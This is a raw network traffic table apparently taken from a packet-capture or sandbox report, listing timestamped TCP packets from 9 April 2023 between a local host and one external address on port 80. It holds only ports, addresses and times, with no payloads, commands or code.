Apr 9, 2023 02:58:47.178116083 CEST	80	49704	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.178174019 CEST	80	49704	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.178201914 CEST	80	49704	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.178308010 CEST	49704	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.178356886 CEST	49704	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.180418015 CEST	49704	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.289597988 CEST	49705	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.326719046 CEST	80	49704	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.436073065 CEST	80	49705	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.436259985 CEST	49705	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.436414957 CEST	49705	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.582777023 CEST	80	49705	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.585733891 CEST	80	49705	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.585784912 CEST	80	49705	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.585813999 CEST	80	49705	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.585879087 CEST	49705	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.585936069 CEST	49705	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.586213112 CEST	49705	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.703828096 CEST	49706	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.732382059 CEST	80	49705	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.850357056 CEST	80	49706	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.850549936 CEST	49706	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.852874994 CEST	49706	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.999342918 CEST	80	49706	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.001952887 CEST	80	49706	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.001996994 CEST	80	49706	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.002023935 CEST	80	49706	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.002033949 CEST	49706	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.002088070 CEST	49706	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.002088070 CEST	49706	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.002715111 CEST	49706	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.113878965 CEST	49707	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.148972988 CEST	80	49706	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.260210037 CEST	80	49707	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.262470961 CEST	49707	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.262604952 CEST	49707	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.408754110 CEST	80	49707	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.411310911 CEST	80	49707	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.411355972 CEST	80	49707	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.411389112 CEST	80	49707	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.411412954 CEST	49707	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.411464930 CEST	49707	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.411757946 CEST	49707	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.523113966 CEST	49708	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.557862043 CEST	80	49707	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.669579983 CEST	80	49708	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.671058893 CEST	49708	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.671215057 CEST	49708	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.817461967 CEST	80	49708	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.821337938 CEST	80	49708	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.821424007 CEST	80	49708	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.821463108 CEST	80	49708	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:48.821577072 CEST	49708	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.821624041 CEST	49708	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.822882891 CEST	49708	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.941144943 CEST	49709	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:48.969088078 CEST	80	49708	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.087734938 CEST	80	49709	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.088243961 CEST	49709	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.088391066 CEST	49709	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.234560013 CEST	80	49709	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.237193108 CEST	80	49709	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.237246037 CEST	80	49709	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.237277031 CEST	80	49709	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.237324953 CEST	49709	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.237356901 CEST	49709	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.245136976 CEST	49709	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.365364075 CEST	49710	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.391469955 CEST	80	49709	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.511895895 CEST	80	49710	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.512213945 CEST	49710	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.512372971 CEST	49710	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.658575058 CEST	80	49710	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.661043882 CEST	80	49710	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.661079884 CEST	80	49710	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.661103010 CEST	80	49710	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.661211014 CEST	49710	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.661413908 CEST	49710	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.771898031 CEST	49711	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.807573080 CEST	80	49710	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.918356895 CEST	80	49711	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:49.918569088 CEST	49711	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:49.918859005 CEST	49711	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.065042973 CEST	80	49711	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.067918062 CEST	80	49711	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.067950964 CEST	80	49711	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.067974091 CEST	80	49711	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.068089008 CEST	49711	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.068165064 CEST	49711	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.068341017 CEST	49711	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.177761078 CEST	49712	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.214437962 CEST	80	49711	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.337059021 CEST	80	49712	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.337179899 CEST	49712	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.337302923 CEST	49712	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.496042013 CEST	80	49712	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.498857021 CEST	80	49712	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.498886108 CEST	80	49712	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.498908997 CEST	80	49712	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.498979092 CEST	49712	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.499020100 CEST	49712	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.499114990 CEST	49712	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.614191055 CEST	49713	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.772814035 CEST	80	49713	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.773036957 CEST	49713	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.773260117 CEST	49713	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.927222013 CEST	80	49713	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.929677963 CEST	80	49713	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.929704905 CEST	80	49713	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.929727077 CEST	80	49713	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:50.929812908 CEST	49713	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.929858923 CEST	49713	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.930417061 CEST	49713	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:50.955066919 CEST	49712	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.039408922 CEST	49714	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.081223011 CEST	80	49713	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.106133938 CEST	80	49712	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.185909033 CEST	80	49714	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.186099052 CEST	49714	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.186217070 CEST	49714	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.333992958 CEST	80	49714	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.335887909 CEST	80	49714	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.335928917 CEST	80	49714	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.335953951 CEST	80	49714	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.335975885 CEST	80	49714	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.336005926 CEST	49714	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.336050987 CEST	49714	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.336218119 CEST	49714	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.441494942 CEST	49715	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.482391119 CEST	80	49714	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.587941885 CEST	80	49715	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.588073969 CEST	49715	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.588181973 CEST	49715	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.734322071 CEST	80	49715	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.737044096 CEST	80	49715	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.737077951 CEST	80	49715	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.737101078 CEST	80	49715	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:51.737174034 CEST	49715	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.737174034 CEST	49715	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.737803936 CEST	49715	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.854103088 CEST	49716	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:51.883979082 CEST	80	49715	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.019123077 CEST	80	49716	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.019290924 CEST	49716	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.026241064 CEST	49716	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.192637920 CEST	80	49716	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.195287943 CEST	80	49716	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.195334911 CEST	80	49716	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.195364952 CEST	80	49716	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.195386887 CEST	80	49716	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.195444107 CEST	49716	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.195472002 CEST	49716	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.196609974 CEST	49716	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.301011086 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.363951921 CEST	80	49716	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.468084097 CEST	80	49717	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.470937967 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.473417044 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.640691042 CEST	80	49717	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.643243074 CEST	80	49717	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.643294096 CEST	80	49717	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.643332958 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.643340111 CEST	80	49717	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.643368006 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.643474102 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.643523932 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.763545036 CEST	49718	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.910115004 CEST	80	49718	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:52.910259008 CEST	49718	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:52.910398006 CEST	49718	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.056575060 CEST	80	49718	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.058965921 CEST	80	49718	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.059007883 CEST	80	49718	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.059101105 CEST	80	49718	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.059386015 CEST	49718	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.059726000 CEST	49718	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.111488104 CEST	49717	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.176492929 CEST	49719	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.205959082 CEST	80	49718	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.265434980 CEST	80	49717	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.322943926 CEST	80	49719	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.323167086 CEST	49719	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.323347092 CEST	49719	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.469449997 CEST	80	49719	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.471885920 CEST	80	49719	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.472137928 CEST	80	49719	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.472172022 CEST	80	49719	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.472292900 CEST	49719	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.472424984 CEST	49719	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.472631931 CEST	49719	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.588044882 CEST	49720	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.619040966 CEST	80	49719	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.747351885 CEST	80	49720	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.747590065 CEST	49720	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.747776031 CEST	49720	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.909627914 CEST	80	49720	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.913464069 CEST	80	49720	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.913501978 CEST	80	49720	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.913525105 CEST	80	49720	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:53.913681984 CEST	49720	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:53.913826942 CEST	49720	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.020189047 CEST	49721	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.180711031 CEST	80	49721	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.180979967 CEST	49721	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.198215961 CEST	49721	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.359946012 CEST	80	49721	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.361610889 CEST	49720	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.362301111 CEST	80	49721	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.362333059 CEST	80	49721	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.362358093 CEST	80	49721	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.362453938 CEST	49721	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.362518072 CEST	49721	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.362618923 CEST	49721	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.475394964 CEST	49722	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.520860910 CEST	80	49720	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.521568060 CEST	80	49721	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.621972084 CEST	80	49722	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.622200012 CEST	49722	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.622328997 CEST	49722	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.768667936 CEST	80	49722	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.771018028 CEST	80	49722	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.771053076 CEST	80	49722	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.771075010 CEST	80	49722	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:54.771220922 CEST	49722	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.771435976 CEST	49722	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.879293919 CEST	49723	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:54.917642117 CEST	80	49722	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.025738955 CEST	80	49723	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.026040077 CEST	49723	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.026194096 CEST	49723	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.172475100 CEST	80	49723	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.176491976 CEST	80	49723	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.176536083 CEST	80	49723	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.176562071 CEST	80	49723	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.176584959 CEST	49723	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.176631927 CEST	49723	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.177012920 CEST	49723	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.288762093 CEST	49724	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.323704004 CEST	80	49723	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.446877956 CEST	80	49724	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.447024107 CEST	49724	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.450747967 CEST	49724	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.605226994 CEST	80	49724	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.607649088 CEST	80	49724	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.607719898 CEST	80	49724	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.607739925 CEST	80	49724	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.607827902 CEST	49724	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.607868910 CEST	49724	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.610034943 CEST	49724	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.724978924 CEST	49725	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.763746977 CEST	80	49724	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.878401041 CEST	80	49725	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:55.878519058 CEST	49725	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:55.878643990 CEST	49725	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.029339075 CEST	80	49725	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.033118963 CEST	80	49725	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.033153057 CEST	80	49725	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.033175945 CEST	80	49725	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.033204079 CEST	49725	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.033250093 CEST	49725	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.033468008 CEST	49725	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.159017086 CEST	49726	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.182972908 CEST	80	49725	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.305445910 CEST	80	49726	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.306200027 CEST	49726	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.306386948 CEST	49726	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.452557087 CEST	80	49726	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.456232071 CEST	80	49726	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.456280947 CEST	80	49726	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.456311941 CEST	80	49726	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.456372976 CEST	49726	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.456434965 CEST	49726	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.484822035 CEST	49726	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.608597040 CEST	49727	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.631162882 CEST	80	49726	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.754942894 CEST	80	49727	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.756102085 CEST	49727	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.756314039 CEST	49727	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.902436972 CEST	80	49727	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.904958010 CEST	80	49727	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.904989958 CEST	80	49727	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.905016899 CEST	80	49727	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:56.905087948 CEST	49727	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.905136108 CEST	49727	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:56.913944960 CEST	49727	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.022883892 CEST	49728	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.060327053 CEST	80	49727	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.188683033 CEST	80	49728	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.190542936 CEST	49728	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.191061020 CEST	49728	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.347335100 CEST	80	49728	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.350686073 CEST	80	49728	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.350735903 CEST	80	49728	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.350758076 CEST	80	49728	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.351032019 CEST	49728	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.351105928 CEST	49728	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.466814041 CEST	49729	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.613090992 CEST	80	49729	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.615467072 CEST	49729	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.615653992 CEST	49729	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.761868000 CEST	80	49729	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.765491009 CEST	80	49729	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.765528917 CEST	80	49729	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.765558958 CEST	80	49729	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.765629053 CEST	49729	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.765659094 CEST	49729	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.769726992 CEST	49729	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.815068007 CEST	49728	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.883713961 CEST	49730	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:57.915910959 CEST	80	49729	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:57.968863964 CEST	80	49728	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.038636923 CEST	80	49730	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.038836956 CEST	49730	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.038959026 CEST	49730	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.196046114 CEST	80	49730	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.198446035 CEST	80	49730	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.198479891 CEST	80	49730	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.198509932 CEST	80	49730	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.198570967 CEST	49730	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.198626995 CEST	49730	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.198724031 CEST	49730	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.321475983 CEST	49731	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.467917919 CEST	80	49731	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.468172073 CEST	49731	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.468336105 CEST	49731	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.614551067 CEST	80	49731	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.617331982 CEST	80	49731	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.617388964 CEST	80	49731	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.617432117 CEST	80	49731	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.617439032 CEST	49731	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.617439032 CEST	49731	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.617497921 CEST	49731	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.623296022 CEST	49731	80	192.168.2.5	88.216.210.27
